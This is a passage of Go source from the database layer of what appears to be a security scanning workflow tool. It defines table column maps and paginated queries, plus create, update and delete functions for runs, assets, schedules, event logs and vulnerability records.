{ name string model interface{} }{ {"runs", (*Run)(nil)}, {"step_results", (*StepResult)(nil)}, {"artifacts", (*Artifact)(nil)}, {"assets", (*Asset)(nil)}, {"event_logs", (*EventLog)(nil)}, {"schedules", (*Schedule)(nil)}, {"workspaces", (*Workspace)(nil)}, {"vulnerabilities", (*Vulnerability)(nil)}, {"asset_diffs", (*AssetDiffSnapshot)(nil)}, {"vuln_diffs", (*VulnDiffSnapshot)(nil)}, } var result []TableInfo for _, t := range tables { count, err := db.NewSelect().Model(t.model).Count(ctx) if err != nil { // Table might not exist yet, return 0 count = 0 } result = append(result, TableInfo{ Name: t.name, RowCount: count, }) } return result, nil } // tableSearchColumns defines which columns to search for each table var tableSearchColumns = map[string][]string{ "runs": {"id", "run_uuid", "run_group_id", "workflow_name", "target", "workspace", "status", "error_message"}, "step_results": {"id", "run_id", "step_name", "step_type", "status", "command", "output", "error_message"}, "artifacts": {"id", "run_id", "workspace", "name", "artifact_path", "artifact_type", "description"}, "assets": {"workspace", "asset_value", "url", "input", "scheme", "method", "path", "status_code", "content_type", "title", "host_ip", "dns_records", "tls", "asset_type", "tech", "remarks", "language", "source", "external_url"}, "event_logs": {"event_id", "topic", "name", "source", "workspace", "run_id", "workflow_name", "data"}, "schedules": {"id", "name", "workflow_name", "workflow_kind", "target", "trigger_name", "schedule"}, "workspaces": {"name", "local_path", "data_source", "run_workflow"}, "vulnerabilities": {"workspace", "vuln_title", "vuln_info", "severity", "confidence", "asset_value", "asset_type"}, "asset_diffs": {"workspace_name", "diff_data"}, "vuln_diffs": {"workspace_name", "diff_data"}, } // tableDisplayColumns defines which columns to display by default for each table (ordered) var tableDisplayColumns = map[string][]string{ "runs": {"run_uuid", "workflow_name", "target", "workspace", "trigger_type", "status", "completed_steps", "total_steps", "started_at"}, "step_results": {"step_name", "step_type", "status", "duration_ms", "command"}, "artifacts": {"name", "artifact_path", "artifact_type", "content_type", "size_bytes", "line_count"}, "assets": {"asset_value", "status_code", "title", "tech", "host_ip", "source", "asset_type", "url"}, "event_logs": {"topic", "name", "source", "workspace", "created_at"}, "schedules": {"name", "workflow_name", "workflow_kind", "target", "trigger_type", "schedule", "is_enabled"}, "workspaces": {"name", "data_source", "total_assets", "total_ips", "total_vulns", "risk_score", "last_run"}, "vulnerabilities": {"vuln_title", "severity", "confidence", "asset_value", "last_seen_at", "workspace"}, "asset_diffs": {"workspace_name", "from_time", "to_time", "total_added", "total_removed", "total_changed", "created_at"}, "vuln_diffs": {"workspace_name", "from_time", "to_time", "total_added", "total_removed", "total_changed", "created_at"}, } // tableAllColumns defines ALL columns for each table (ordered, matching model structs) var tableAllColumns = map[string][]string{ "runs": {"id", "run_uuid", "run_group_id", "workflow_name", "workflow_kind", "target", "params", "status", "workspace", "started_at", "completed_at", "error_message", "schedule_id", "trigger_type", "trigger_name", "total_steps", "completed_steps", "current_pid", "run_priority", "run_mode", "created_at", "updated_at"}, "step_results": {"id", "run_id", "step_name", "step_type", "status", "command", "output", "error_message", "exports", "duration_ms", "log_file", "started_at", "completed_at", "created_at"}, "artifacts": {"id", "run_id", "workspace", "name", "artifact_path", "artifact_type", "content_type", "size_bytes", "line_count", "description", "created_at"}, "assets": {"id", "workspace", "asset_value", "url", "input", "scheme", "method", "path", "status_code", "content_type", "content_length", "title", "words", "lines", "host_ip", "dns_records", "tls", "asset_type", "tech", "response_time", "remarks", "language", "size", "loc", "blob_content", "source", "raw_json_data", "raw_response", "screenshot_base64_data", "external_url", "last_seen_at", "created_at", "updated_at"}, "event_logs": {"id", "topic", "event_id", "name", "source_type", "source", "data_type", "data", "workspace", "run_id", "workflow_name", "processed", "processed_at", "error", "created_at"}, "schedules": {"id", "name", "workflow_name", "workflow_kind", "target", "workspace", "params", "trigger_name", "trigger_type", "schedule", "event_topic", "watch_path", "is_enabled", "last_run", "next_run", "run_count", "created_at", "updated_at"}, "workspaces": {"id", "name", "local_path", "data_source", "total_assets", "total_subdomains", "total_urls", "total_ips", "total_links", "total_content", "total_archive", "total_vulns", "vuln_critical", "vuln_high", "vuln_medium", "vuln_low", "vuln_potential", "risk_score", "tags", "last_run", "run_workflow", "state_execution_log", "state_completed_file", "state_workflow_file", "state_workflow_folder", "created_at", "updated_at"}, "vulnerabilities": {"id", "workspace", "vuln_info", "vuln_title", "vuln_desc", "vuln_poc", "severity", "confidence", "asset_type", "asset_value", "tags", "detail_http_request", "detail_http_response", "raw_vuln_json", "last_seen_at", "created_at", "updated_at"}, "asset_diffs": {"id", "workspace_name", "from_time", "to_time", "total_added", "total_removed", "total_changed", "diff_data", "created_at"}, "vuln_diffs": {"id", "workspace_name", "from_time", "to_time", "total_added", "total_removed", "total_changed", "diff_data", "created_at"}, } // GetAllTableColumns returns ALL columns for a table (for column selection UI) func GetAllTableColumns(tableName string) []string { if cols, ok := tableAllColumns[tableName]; ok { return cols } return nil } // GetTableColumns returns the display columns for a table func GetTableColumns(tableName string) []string { if cols, ok := tableDisplayColumns[tableName]; ok { return cols } // Fallback to search columns if no display columns defined if cols, ok := tableSearchColumns[tableName]; ok { return cols } return nil } // AssetHeavyColumns are columns excluded from asset queries by default to prevent OOM. // These fields can be multi-MB per row (HTTP responses, screenshots, file contents). var AssetHeavyColumns = []string{"raw_json_data", "raw_response", "screenshot_base64_data", "blob_content"} // GetTableRecords returns paginated records from a specific table with optional filters and search. // excludeColumns specifies columns to omit from the SELECT (useful for skipping large blob fields). func GetTableRecords(ctx context.Context, tableName string, offset, limit int, filters map[string]string, fuzzyFilters map[string]string, search string, excludeColumns []string) (*TableRecords, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &TableRecords{ Table: tableName, Offset: offset, Limit: limit, } searchCols := tableSearchColumns[tableName] // Helper to apply filters and search to a query applyFilters := func(query *bun.SelectQuery) *bun.SelectQuery { // Apply exact filters for key, value := range filters { query = query.Where("? = ?", bun.Ident(key), value) } // Apply fuzzy (LIKE) filters — case-insensitive substring match per column for key, value := range fuzzyFilters { pattern := "%" + value + "%" query = query.Where("LOWER(CAST(? AS TEXT)) LIKE LOWER(?)", bun.Ident(key), pattern) } // Apply search across columns (OR conditions) if search != "" && len(searchCols) > 0 { searchPattern := "%" + search + "%" query = query.WhereGroup(" AND ", func(sq *bun.SelectQuery) *bun.SelectQuery { for i, col := range searchCols { if i == 0 { sq = sq.Where("LOWER(CAST(? AS TEXT)) LIKE LOWER(?)", bun.Ident(col), searchPattern) } else { sq = sq.WhereOr("LOWER(CAST(? AS TEXT)) LIKE LOWER(?)", bun.Ident(col), searchPattern) } } return sq }) } return query } switch tableName { case "runs": var records []Run countQuery := applyFilters(db.NewSelect().Model(&records)) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count records: %w", err) } result.TotalCount = count fetchQuery := applyFilters(db.NewSelect().Model(&records)) err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch records: %w", err) } result.Records = records case "step_results": var records []StepResult countQuery := applyFilters(db.NewSelect().Model(&records)) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count records: %w", err) } result.TotalCount = count fetchQuery := applyFilters(db.NewSelect().Model(&records)) err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch records: %w", err) } result.Records = records case "artifacts": var records []Artifact countQuery := applyFilters(db.NewSelect().Model(&records)) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count records: %w", err) } result.TotalCount = count fetchQuery := applyFilters(db.NewSelect().Model(&records)) err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch records: %w", err) } result.Records = records case "assets": var records []Asset countQuery := applyFilters(db.NewSelect().Model(&records)) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count records: %w", err) } result.TotalCount = count fetchQuery := applyFilters(db.NewSelect().Model(&records)) if len(excludeColumns) > 0 { fetchQuery = fetchQuery.ExcludeColumn(excludeColumns...) } err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch records: %w", err) } result.Records = records case "event_logs": var records []EventLog countQuery := applyFilters(db.NewSelect().Model(&records)) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count records: %w", err) } result.TotalCount = count fetchQuery := applyFilters(db.NewSelect().Model(&records)) err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch records: %w", err) } result.Records = records case "schedules": var records []Schedule countQuery := applyFilters(db.NewSelect().Model(&records)) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count records: %w", err) } result.TotalCount = count fetchQuery := applyFilters(db.NewSelect().Model(&records)) err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch records: %w", err) } result.Records = records case "workspaces": var records []Workspace countQuery := applyFilters(db.NewSelect().Model(&records)) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count records: %w", err) } result.TotalCount = count fetchQuery := applyFilters(db.NewSelect().Model(&records)) err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch records: %w", err) } result.Records = records case "vulnerabilities": var records []Vulnerability countQuery := applyFilters(db.NewSelect().Model(&records)) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count records: %w", err) } result.TotalCount = count fetchQuery := applyFilters(db.NewSelect().Model(&records)) err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch records: %w", err) } result.Records = records case "asset_diffs": var records []AssetDiffSnapshot countQuery := applyFilters(db.NewSelect().Model(&records)) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count records: %w", err) } result.TotalCount = count fetchQuery := applyFilters(db.NewSelect().Model(&records)) err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch records: %w", err) } result.Records = records case "vuln_diffs": var records []VulnDiffSnapshot countQuery := applyFilters(db.NewSelect().Model(&records)) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count records: %w", err) } result.TotalCount = count fetchQuery := applyFilters(db.NewSelect().Model(&records)) err = fetchQuery.Order("created_at DESC").Offset(offset).Limit(limit).Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch records: %w", err) } result.Records = records default: return nil, fmt.Errorf("unknown table: %s (valid tables: %v)", tableName, ValidTableNames()) } return result, nil } // AssetQuery holds query parameters for listing assets type AssetQuery struct { Workspace string Search string StatusCode int Offset int Limit int } // AssetResult holds paginated asset results type AssetResult struct { Data []Asset TotalCount int Offset int Limit int } // ListAssets returns paginated assets with optional filters func ListAssets(ctx context.Context, query AssetQuery) (*AssetResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &AssetResult{ Offset: query.Offset, Limit: query.Limit, } // Helper to apply filters to a query applyFilters := func(q *bun.SelectQuery) *bun.SelectQuery { if query.Workspace != "" { q = q.Where("workspace = ?", query.Workspace) } if query.Search != "" { searchPattern := "%" + query.Search + "%" q = q.WhereGroup(" AND ", func(sq *bun.SelectQuery) *bun.SelectQuery { return sq. Where("asset_value LIKE ?", searchPattern). WhereOr("url LIKE ?", searchPattern). WhereOr("title LIKE ?", searchPattern). WhereOr("host_ip LIKE ?", searchPattern) }) } if query.StatusCode > 0 { q = q.Where("status_code = ?", query.StatusCode) } return q } // Get total count countQuery := db.NewSelect().Model((*Asset)(nil)) countQuery = applyFilters(countQuery) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count assets: %w", err) } result.TotalCount = count // Get paginated results baseQuery := db.NewSelect().Model(&result.Data) baseQuery = applyFilters(baseQuery) err = baseQuery. Order("created_at DESC"). Offset(query.Offset). Limit(query.Limit). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch assets: %w", err) } return result, nil } type ArtifactQuery struct { Workspace string Search string StatusCode int Offset int Limit int } type ArtifactResult struct { Data []Artifact TotalCount int Offset int Limit int } func ListArtifacts(ctx context.Context, query ArtifactQuery) (*ArtifactResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &ArtifactResult{ Offset: query.Offset, Limit: query.Limit, } applyFilters := func(q *bun.SelectQuery) *bun.SelectQuery { if query.Workspace != "" { q = q.Where("workspace = ?", query.Workspace) } if query.Search != "" { searchPattern := "%" + query.Search + "%" q = q.WhereGroup(" AND ", func(sq *bun.SelectQuery) *bun.SelectQuery { return sq. Where("id LIKE ?", searchPattern). WhereOr("run_id LIKE ?", searchPattern). WhereOr("workspace LIKE ?", searchPattern). WhereOr("name LIKE ?", searchPattern). WhereOr("artifact_path LIKE ?", searchPattern). WhereOr("artifact_type LIKE ?", searchPattern). WhereOr("content_type LIKE ?", searchPattern). WhereOr("description LIKE ?", searchPattern) }) } return q } countQuery := db.NewSelect().Model((*Artifact)(nil)) countQuery = applyFilters(countQuery) count, err := countQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count artifacts: %w", err) } result.TotalCount = count baseQuery := db.NewSelect().Model(&result.Data) baseQuery = applyFilters(baseQuery) err = baseQuery. Order("created_at DESC"). Offset(query.Offset). Limit(query.Limit). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch artifacts: %w", err) } return result, nil } // WorkspaceInfo holds workspace information type WorkspaceInfo struct { Name string `json:"name"` AssetCount int `json:"asset_count"` } // WorkspaceResult holds paginated workspace results type WorkspaceResult struct { Data []WorkspaceInfo TotalCount int Offset int Limit int } // ListWorkspacesFromDB returns unique workspaces from assets table with asset counts // This is used when filesystem=true to show workspaces derived from asset data func ListWorkspacesFromDB(ctx context.Context, offset, limit int) (*WorkspaceResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &WorkspaceResult{ Offset: offset, Limit: limit, } // Get total count of unique workspaces var totalCount int err := db.NewSelect(). Model((*Asset)(nil)). ColumnExpr("COUNT(DISTINCT workspace)"). Scan(ctx, &totalCount) if err != nil { return nil, fmt.Errorf("failed to count workspaces: %w", err) } result.TotalCount = totalCount // Get paginated unique workspaces with asset counts var workspaces []WorkspaceInfo err = db.NewSelect(). Model((*Asset)(nil)). ColumnExpr("workspace AS name"). ColumnExpr("COUNT(*) AS asset_count"). Group("workspace"). Order("workspace ASC"). Offset(offset). Limit(limit). Scan(ctx, &workspaces) if err != nil { return nil, fmt.Errorf("failed to fetch workspaces: %w", err) } result.Data = workspaces return result, nil } func ListAllWorkspacesFromAssets(ctx context.Context) ([]WorkspaceInfo, error) { if db == nil { return nil, fmt.Errorf("database not connected") } var workspaces []WorkspaceInfo err := db.NewSelect(). Model((*Asset)(nil)). ColumnExpr("workspace AS name"). ColumnExpr("COUNT(*) AS asset_count"). Group("workspace"). Order("workspace ASC"). Scan(ctx, &workspaces) if err != nil { return nil, fmt.Errorf("failed to fetch workspaces: %w", err) } return workspaces, nil } // FullWorkspaceResult holds paginated results from the workspaces table type FullWorkspaceResult struct { Data []Workspace `json:"data"` TotalCount int `json:"total_count"` Offset int `json:"offset"` Limit int `json:"limit"` } // ListWorkspacesFullFromDB returns workspaces from the workspaces table with full details func ListWorkspacesFullFromDB(ctx context.Context, offset, limit int) (*FullWorkspaceResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &FullWorkspaceResult{ Offset: offset, Limit: limit, } // Get total count totalCount, err := db.NewSelect(). Model((*Workspace)(nil)). Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count workspaces: %w", err) } result.TotalCount = totalCount // Get paginated workspaces with full details var workspaces []Workspace err = db.NewSelect(). Model(&workspaces). Order("name ASC"). Offset(offset). Limit(limit). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch workspaces: %w", err) } result.Data = workspaces return result, nil } // UpsertWorkspace creates or updates a workspace record func UpsertWorkspace(ctx context.Context, workspace *Workspace) error { if db == nil { return fmt.Errorf("database not connected") } // Check if workspace exists existing := new(Workspace) err := db.NewSelect(). Model(existing). Where("name = ?", workspace.Name). Scan(ctx) if err == nil { // Update existing workspace workspace.ID = existing.ID workspace.CreatedAt = existing.CreatedAt _, err = db.NewUpdate(). Model(workspace). WherePK(). Exec(ctx) return err } // Insert new workspace _, err = db.NewInsert(). Model(workspace). Exec(ctx) return err } // GetWorkspaceByName retrieves a workspace by name func GetWorkspaceByName(ctx context.Context, name string) (*Workspace, error) { if db == nil { return nil, fmt.Errorf("database not connected") } workspace := new(Workspace) err := db.NewSelect(). Model(workspace). Where("name = ?", name). Scan(ctx) if err != nil { return nil, err } return workspace, nil } // ScheduleResult holds paginated schedule results type ScheduleResult struct { Data []Schedule `json:"data"` TotalCount int `json:"total_count"` Offset int `json:"offset"` Limit int `json:"limit"` } // CreateScheduleInput holds input for creating a schedule type CreateScheduleInput struct { Name string WorkflowName string WorkflowKind string // "module" or "flow" Target string // Target to scan Workspace string // Workspace name Params map[string]interface{} // Workflow parameters TriggerType string // cron, event, watch, manual Schedule string // Cron expression (for cron trigger) EventTopic string // Event topic (for event trigger) WatchPath string // Watch path (for watch trigger) Enabled bool NextRun *time.Time // Initial next run time (computed from cron expression) } // UpdateScheduleInput holds input for updating a schedule type UpdateScheduleInput struct { Name string Target string Workspace string Params map[string]interface{} Schedule string Enabled *bool } // ListSchedules returns paginated schedules func ListSchedules(ctx context.Context, offset, limit int) (*ScheduleResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &ScheduleResult{ Offset: offset, Limit: limit, } // Get total count totalCount, err := db.NewSelect(). Model((*Schedule)(nil)). Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count schedules: %w", err) } result.TotalCount = totalCount // Get paginated schedules var schedules []Schedule err = db.NewSelect(). Model(&schedules). Order("created_at DESC"). Offset(offset). Limit(limit). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch schedules: %w", err) } result.Data = schedules return result, nil } // GetScheduleByID returns a schedule by ID func GetScheduleByID(ctx context.Context, id string) (*Schedule, error) { if db == nil { return nil, fmt.Errorf("database not connected") } var schedule Schedule err := db.NewSelect(). Model(&schedule). Where("id = ?", id). Scan(ctx) if err != nil { return nil, fmt.Errorf("schedule not found: %w", err) } return &schedule, nil } // CreateSchedule creates a new schedule func CreateSchedule(ctx context.Context, input CreateScheduleInput) (*Schedule, error) { if db == nil { return nil, fmt.Errorf("database not connected") } // Default trigger type to cron if not specified triggerType := input.TriggerType if triggerType == "" { triggerType = "cron" } schedule := &Schedule{ ID: generateID(), Name: input.Name, WorkflowName: input.WorkflowName, WorkflowKind: input.WorkflowKind, Target: input.Target, Workspace: input.Workspace, Params: input.Params, TriggerType: triggerType, TriggerName: input.Name, Schedule: input.Schedule, EventTopic: input.EventTopic, WatchPath: input.WatchPath, IsEnabled: input.Enabled, NextRun: input.NextRun, CreatedAt: time.Now(), UpdatedAt: time.Now(), } _, err := db.NewInsert().Model(schedule).Exec(ctx) if err != nil { return nil, fmt.Errorf("failed to create schedule: %w", err) } return schedule, nil } // UpdateSchedule updates an existing schedule func UpdateSchedule(ctx context.Context, id string, input UpdateScheduleInput) (*Schedule, error) { if db == nil { return nil, fmt.Errorf("database not connected") } // Get existing schedule schedule, err := GetScheduleByID(ctx, id) if err != nil { return nil, err } // Update fields if provided if input.Name != "" { schedule.Name = input.Name schedule.TriggerName = input.Name } if input.Target != "" { schedule.Target = input.Target } if input.Workspace != "" { schedule.Workspace = input.Workspace } if input.Params != nil { schedule.Params = input.Params } if input.Schedule != "" { schedule.Schedule = input.Schedule } if input.Enabled != nil { schedule.IsEnabled = *input.Enabled } schedule.UpdatedAt = time.Now() _, err = db.NewUpdate(). Model(schedule). WherePK(). Exec(ctx) if err != nil { return nil, fmt.Errorf("failed to update schedule: %w", err) } return schedule, nil } // DeleteSchedule deletes a schedule by ID func DeleteSchedule(ctx context.Context, id string) error { if db == nil { return fmt.Errorf("database not connected") } result, err := db.NewDelete(). Model((*Schedule)(nil)). Where("id = ?", id). Exec(ctx) if err != nil { return fmt.Errorf("failed to delete schedule: %w", err) } rowsAffected, _ := result.RowsAffected() if rowsAffected == 0 { return fmt.Errorf("schedule not found") } return nil } // UpdateScheduleLastRun updates the last run time for a schedule func UpdateScheduleLastRun(ctx context.Context, id string) error { if db == nil { return fmt.Errorf("database not connected") } now := time.Now() _, err := db.NewUpdate(). Model((*Schedule)(nil)). Set("last_run = ?", now). Set("run_count = run_count + 1"). Set("updated_at = ?", now). Where("id = ?", id). Exec(ctx) return err } // generateID generates a unique ID for schedules func generateID() string { return fmt.Sprintf("sch_%d", time.Now().UnixNano()) } // EventLogResult holds paginated event log results type EventLogResult struct { Data []EventLog `json:"data"` TotalCount int `json:"total_count"` Offset int `json:"offset"` Limit int `json:"limit"` } // EventLogQuery holds query parameters for listing event logs type EventLogQuery struct { Topic string Name string Source string Workspace string RunID string WorkflowName string Processed *bool Offset int Limit int } // ListEventLogs returns paginated event logs with optional filtering func ListEventLogs(ctx context.Context, query EventLogQuery) (*EventLogResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &EventLogResult{ Offset: query.Offset, Limit: query.Limit, } // Build base query baseQuery := db.NewSelect().Model((*EventLog)(nil)) // Apply filters if query.Topic != "" { baseQuery = baseQuery.Where("topic = ?", query.Topic) } if query.Name != "" { baseQuery = baseQuery.Where("name = ?", query.Name) } if query.Source != "" { baseQuery = baseQuery.Where("source = ?", query.Source) } if query.Workspace != "" { baseQuery = baseQuery.Where("workspace = ?", query.Workspace) } if query.RunID != "" { baseQuery = baseQuery.Where("run_id = ?", query.RunID) } if query.WorkflowName != "" { baseQuery = baseQuery.Where("workflow_name = ?", query.WorkflowName) } if query.Processed != nil { baseQuery = baseQuery.Where("processed = ?", *query.Processed) } // Get total count with filters totalCount, err := baseQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count event logs: %w", err) } result.TotalCount = totalCount // Get paginated event logs var eventLogs []EventLog err = db.NewSelect(). Model(&eventLogs). Apply(func(q *bun.SelectQuery) *bun.SelectQuery { if query.Topic != "" { q = q.Where("topic = ?", query.Topic) } if query.Name != "" { q = q.Where("name = ?", query.Name) } if query.Source != "" { q = q.Where("source = ?", query.Source) } if query.Workspace != "" { q = q.Where("workspace = ?", query.Workspace) } if query.RunID != "" { q = q.Where("run_id = ?", query.RunID) } if query.WorkflowName != "" { q = q.Where("workflow_name = ?", query.WorkflowName) } if query.Processed != nil { q = q.Where("processed = ?", *query.Processed) } return q }). Order("created_at DESC"). Offset(query.Offset). Limit(query.Limit). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch event logs: %w", err) } result.Data = eventLogs return result, nil } // VulnerabilityQuery holds query parameters for listing vulnerabilities type VulnerabilityQuery struct { Workspace string Severity string Confidence string AssetValue string Offset int Limit int } // VulnerabilityResult holds paginated vulnerability results type VulnerabilityResult struct { Data []Vulnerability `json:"data"` TotalCount int `json:"total_count"` Offset int `json:"offset"` Limit int `json:"limit"` } // ListVulnerabilities returns paginated vulnerabilities with optional filtering func ListVulnerabilities(ctx context.Context, query VulnerabilityQuery) (*VulnerabilityResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &VulnerabilityResult{ Offset: query.Offset, Limit: query.Limit, } // Build base query baseQuery := db.NewSelect().Model((*Vulnerability)(nil)) // Apply filters if query.Workspace != "" { baseQuery = baseQuery.Where("workspace = ?", query.Workspace) } if query.Severity != "" { baseQuery = baseQuery.Where("severity = ?", query.Severity) } if query.Confidence != "" { baseQuery = baseQuery.Where("confidence = ?", query.Confidence) } if query.AssetValue != "" { baseQuery = baseQuery.Where("asset_value LIKE ?", "%"+query.AssetValue+"%") } // Get total count with filters totalCount, err := baseQuery.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count vulnerabilities: %w", err) } result.TotalCount = totalCount // Get paginated vulnerabilities var vulnerabilities []Vulnerability err = db.NewSelect(). Model(&vulnerabilities). Apply(func(q *bun.SelectQuery) *bun.SelectQuery { if query.Workspace != "" { q = q.Where("workspace = ?", query.Workspace) } if query.Severity != "" { q = q.Where("severity = ?", query.Severity) } if query.AssetValue != "" { q = q.Where("asset_value LIKE ?", "%"+query.AssetValue+"%") } return q }). Order("created_at DESC"). Offset(query.Offset). Limit(query.Limit). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch vulnerabilities: %w", err) } result.Data = vulnerabilities return result, nil } // GetVulnerabilityByID returns a vulnerability by ID func GetVulnerabilityByID(ctx context.Context, id int64) (*Vulnerability, error) { if db == nil { return nil, fmt.Errorf("database not connected") } var vuln Vulnerability err := db.NewSelect(). Model(&vuln). Where("id = ?", id). Scan(ctx) if err != nil { return nil, fmt.Errorf("vulnerability not found: %w", err) } return &vuln, nil } // CreateVulnerabilityRecord creates a new vulnerability in the database func CreateVulnerabilityRecord(ctx context.Context, vuln *Vulnerability) error { if db == nil { return fmt.Errorf("database not connected") } _, err := db.NewInsert().Model(vuln).Exec(ctx) if err != nil { return fmt.Errorf("failed to create vulnerability: %w", err) } return nil } // DeleteVulnerabilityByID deletes a vulnerability by ID func DeleteVulnerabilityByID(ctx context.Context, id int64) error { if db == nil { return fmt.Errorf("database not connected") } result, err := db.NewDelete(). Model((*Vulnerability)(nil)). Where("id = ?", id). Exec(ctx) if err != nil { return fmt.Errorf("failed to delete vulnerability: %w", err) } rowsAffected, _ := result.RowsAffected() if rowsAffected == 0 { return fmt.Errorf("vulnerability not found") } return nil } // GetVulnerabilitySummary returns a summary of vulnerabilities by severity for a workspace func GetVulnerabilitySummary(ctx context.Context, workspace string) (map[string]int, error) { if db == nil { return nil, fmt.Errorf("database not connected") } var results []struct { Severity string `bun:"severity"` Count int `bun:"count"` } query := db.NewSelect(). Model((*Vulnerability)(nil)). ColumnExpr("severity, COUNT(*) AS count"). Group("severity") if workspace != "" { query = query.Where("workspace = ?", workspace) } err := query.Scan(ctx, &results) if err != nil { return nil, fmt.Errorf("failed to get vulnerability summary: %w", err) } summary := make(map[string]int) for _, r := range results { summary[r.Severity] = r.Count } return summary, nil } // RunResult holds paginated run results type RunResult struct { Data []Run `json:"data"` TotalCount int `json:"total_count"` Offset int `json:"offset"` Limit int `json:"limit"` } // ListRuns returns paginated runs with optional filters func ListRuns(ctx context.Context, offset, limit int, status, workflow, target, workspace, runMode string) (*RunResult, error) { if db == nil { return nil, fmt.Errorf("database not connected") } result := &RunResult{ Offset: offset, Limit: limit, } query := db.NewSelect().Model((*Run)(nil)) if status != "" { query = query.Where("status = ?", status) } if workflow != "" { query = query.Where("workflow_name = ?", workflow) } if target != "" { query = query.Where("target LIKE ?", "%"+target+"%") } if workspace != "" { query = query.Where("workspace = ?", workspace) } if runMode != "" { query = query.Where("run_mode = ?", runMode) } totalCount, err := query.Count(ctx) if err != nil { return nil, fmt.Errorf("failed to count runs: %w", err) } result.TotalCount = totalCount var runs []Run err = db.NewSelect(). Model(&runs). Apply(func(q *bun.SelectQuery) *bun.SelectQuery { if status != "" { q = q.Where("status = ?", status) } if workflow != "" { q = q.Where("workflow_name = ?", workflow) } if target != "" { q = q.Where("target LIKE ?", "%"+target+"%") } if workspace != "" { q = q.Where("workspace = ?", workspace) } if runMode != "" { q = q.Where("run_mode = ?", runMode) } return q }). Order("created_at DESC"). Offset(offset). Limit(limit). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to fetch runs: %w", err) } result.Data = runs return result, nil } // GetRunByID returns a run by ID with optional relations func GetRunByID(ctx context.Context, id string, includeSteps, includeArtifacts bool) (*Run, error) { if db == nil { return nil, fmt.Errorf("database not connected") } var run Run query := db.NewSelect().Model(&run).Where("run_uuid = ?", id) if includeSteps { query = query.Relation("Steps") } if includeArtifacts { query = query.Relation("Artifacts") } err := query.Scan(ctx) if err != nil { return nil, fmt.Errorf("run not found: %w", err) } return &run, nil } // GetRunsByRunGroupID returns all runs for a given run group ID func GetRunsByRunGroupID(ctx context.Context, runGroupID string) ([]*Run, error) { if db == nil { return nil, fmt.Errorf("database not connected") } if runGroupID == "" { return nil, fmt.Errorf("run group ID is required") } var runs []*Run err := db.NewSelect(). Model(&runs). Where("run_group_id = ?", runGroupID). Order("created_at ASC"). Scan(ctx) if err != nil { return nil, fmt.Errorf("failed to get runs by run group ID: %w", err) } return runs, nil } // CreateRun creates a new run record in the database. // In distributed worker mode, this sends the run to the master via Redis instead. func CreateRun(ctx context.Context, run *Run) error { now := time.Now() run.CreatedAt = now run.UpdatedAt = now if run.Status == "" { run.Status = "pending" } // In distributed worker mode, send to Redis instead of local DB if trySendRunToRedis(ctx, run) { return nil } if db == nil { return fmt.Errorf("database not connected") } _, err := db.NewInsert().Model(run).Exec(ctx) if err != nil { return fmt.Errorf("failed to create run: %w", err) } return nil } // UpdateRunStatus updates the status of a run func UpdateRunStatus(ctx context.Context, runUUID, status, errorMessage string) error { if db == nil { return fmt.Errorf("database not connected") } now := time.Now() query := db.NewUpdate(). Model((*Run)(nil)). Set("status = ?", status). Set("updated_at = ?", now). Where("run_uuid = ?", runUUID) if errorMessage != "" { query = query.Set("error_message = ?", errorMessage) } if status == "completed" || status == "failed" || status == "cancelled" { query = query.Set("completed_at = ?", now) // Clear PID when run ends (no longer actively running) query = query.Set("current_pid = ?", 0) } // When completed, set completed_steps equal to total_steps if status == "completed" { query = query.Set("completed_steps = total_steps") } result, err := query.Exec(ctx) if err != nil { return fmt.Errorf("failed to update run status: 